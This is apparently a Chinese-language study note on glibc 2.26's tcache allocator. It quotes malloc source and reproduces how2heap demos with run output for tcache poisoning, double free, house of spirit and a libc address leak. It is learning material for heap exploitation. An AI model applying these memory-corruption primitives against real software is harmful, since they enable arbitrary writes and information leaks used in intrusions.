tcache学习 Surager

glibc2.26新增

宏定义

#if USE_TCACHE
/* We want 64 entries.  This is an arbitrary limit, which tunables can reduce.  */
# define TCACHE_MAX_BINS                64
# define MAX_TCACHE_SIZE        tidx2usize (TCACHE_MAX_BINS-1)
/* Only used to pre-fill the tunables.  */
# define tidx2usize(idx)        (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)
/* When "x" is from chunksize().  */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size.  */
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
   idx 0   bytes 0..24 (64-bit) or 0..12 (32-bit)
   idx 1   bytes 25..40 or 13..20
   idx 2   bytes 41..56 or 21..28
   etc.  */
/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7
#endif

tcache的最大bins个数为64,每个bins最多放7个chunk。

两个结构体

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

tcache_entry,单链表结构,只有一个next域。

tcache_perthread_struct,tcache的主体结构,包含64个entry,counts记录每个链上的chunk个数。

两个重要函数

static void
 tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

几乎没有什么检测,可以直接就饶过了。起初的tcache机制几乎完美地诠释了什么叫双刃剑,就是在赌今天咱两个人必须要死一个。

几个malloc和free新增

tcache初始化。

tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim && ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }


  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }

}

_int_malloc中新增定义。

#if USE_TCACHE
         /* While we're here, if we see other chunks of the same size,
            stash them in the tcache.  */
         size_t tc_idx = csize2tidx (nb);
         if (tcache && tc_idx < mp_.tcache_bins)
           {
             mchunkptr tc_victim;

             /* While bin not empty and tcache not full, copy chunks over.  */
             while (tcache->counts[tc_idx] < mp_.tcache_count
                    && (pp = *fb) != NULL)
               {
                 REMOVE_FB (fb, tc_victim, pp);
                 if (tc_victim != 0)
                   {
                     tcache_put (tc_victim, tc_idx);
                   }
               }
           }
#endif

tcache_thread_freeres

static void __attribute__ ((section ("__libc_thread_freeres_fn")))
tcache_thread_freeres (void)
{
  int i;
  tcache_perthread_struct *tcache_tmp = tcache;

  if (!tcache)
    return;

  tcache = NULL;

  for (i = 0; i < TCACHE_MAX_BINS; ++i)
    {
      while (tcache_tmp->entries[i])
       {
         tcache_entry *e = tcache_tmp->entries[i];
         tcache_tmp->entries[i] = e->next;
         __libc_free (e);
       }
    }

  __libc_free (tcache_tmp);

  tcache_shutting_down = 1;
}

清空此线程的tcache。

#if USE_TCACHE
  {
    size_t tc_idx = csize2tidx (size);

    if (tcache
       && tc_idx < mp_.tcache_bins
       && tcache->counts[tc_idx] < mp_.tcache_count)
      {
       tcache_put (p, tc_idx);
       return;
      }
  }
#endif

几个简单利用

tcache_poisoning

完全没有什么技术可言。改指针,改完malloc两次即可任意写。

how2heap tcache_poisoning.c:

1	#include <stdio.h>
2	#include <stdlib.h>
3	#include <stdint.h>
4	
5	int main()
6	{
7		fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
8		       "returning a pointer to an arbitrary location (in this case, the stack).\n"
9		       "The attack is very similar to fastbin corruption attack.\n\n");
10	
11		size_t stack_var;
12		fprintf(stderr, "The address we want malloc() to return is %p.\n", (char *)&stack_var);
13	
14		fprintf(stderr, "Allocating 1 buffer.\n");
15		intptr_t *a = malloc(128);
16		fprintf(stderr, "malloc(128): %p\n", a);
17		fprintf(stderr, "Freeing the buffer...\n");
18		free(a);
19	
20		fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
21		fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
22			"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
23		a[0] = (intptr_t)&stack_var;
24	
25		fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
26		fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
27	
28		intptr_t *b = malloc(128);
29		fprintf(stderr, "2nd malloc(128): %p\n", b);
30		fprintf(stderr, "We got the control\n");
31	
32		return 0;
33	}

程序定义了一个栈上的变量,然后malloc一个chunk后free,改变它的指针为栈上变量,malloc两次得到栈上的chunk。

运行结果:

This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.

The address we want malloc() to return is 0x7ffefcc8e5e0.
Allocating 1 buffer.
malloc(128): 0x55798c6a3260
Freeing the buffer...
Now the tcache list has [ 0x55798c6a3260 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x55798c6a3260
to point to the location to control (0x7ffefcc8e5e0).
1st malloc(128): 0x55798c6a3260
Now the tcache list has [ 0x7ffefcc8e5e0 ].
2nd malloc(128): 0x7ffefcc8e5e0
We got the control

tcache_dup

与fastbin相比,它少了一丝心机,多了一份单纯。犹如一丝细沙,拂过旅行者的脸。

how2heap tcache_dup.c:

1	#include <stdio.h>
2	#include <stdlib.h>
3	
4	int main()
5	{
6		fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");
7	
8		fprintf(stderr, "Allocating buffer.\n");
9		int *a = malloc(8);
10	
11		fprintf(stderr, "malloc(8): %p\n", a);
12		fprintf(stderr, "Freeing twice...\n");
13		free(a);
14		free(a);
15	
16		fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
17		fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
18	
19		return 0;
20	}

运行结果:

This file demonstrates a simple double-free attack with tcache.
Allocating buffer.
malloc(8): 0x561e878e1260
Freeing twice...
Now the free list has [ 0x561e878e1260, 0x561e878e1260 ].
Next allocated buffers will be same: [ 0x561e878e1260, 0x561e878e1260 ].

tcache_house_of_spirit

在栈上伪造chunk,然后free掉,继而能malloc到栈上。

how2heap tcache_house_of_spirit.c:

#include <stdio.h>
#include <stdlib.h>

int main()
{
        fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
        fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
        fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
        fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

        fprintf(stderr, "Ok. Let's start with the example!.\n\n");


        fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
        malloc(1);

        fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
        unsigned long long *a; //pointer that will be overwritten
        unsigned long long fake_chunks[10]; //fake chunk region

        fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

        fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
        fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
        fake_chunks[1] = 0x40; // this is the size


        fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
        fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

        a = &fake_chunks[2];

        fprintf(stderr, "Freeing the overwritten pointer.\n");
        free(a);

        fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
        fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

运行结果:

This file demonstrates the house of spirit attack on tcache.
It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.
You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.
(Search for strings "invalid next size" and "double free or corruption")

Ok. Let's start with the example!.

Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7ffe15f54808
This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffe15f54808.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffe15f54808, which will be 0x7ffe15f54810!
malloc(0x30): 0x7ffe15f54810

libc leak

以前的libc版本:

#include <stdlib.h>
#include <stdio.h>

int main()
{
    long *a = malloc(0x1000);
    malloc(0x10);
    free(a);
    printf("%p\n",a[0]);
} 

但在2.26之后,我们需要先把tcache填满,再free一个:

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);

    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} 

最后的free(a)会使得a进入到unsorted bins里面:

pwndbg> bins
tcachebins
0x110 [  7]: 0x6029f0 —▸ 0x6028e0 —▸ 0x6027d0 —▸ 0x6026c0 —▸ 0x6025b0 —▸ 0x6024a0 —▸ 0x602390 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x602250 /* 'P"`' */
smallbins
empty
largebins
empty

从而泄露libc。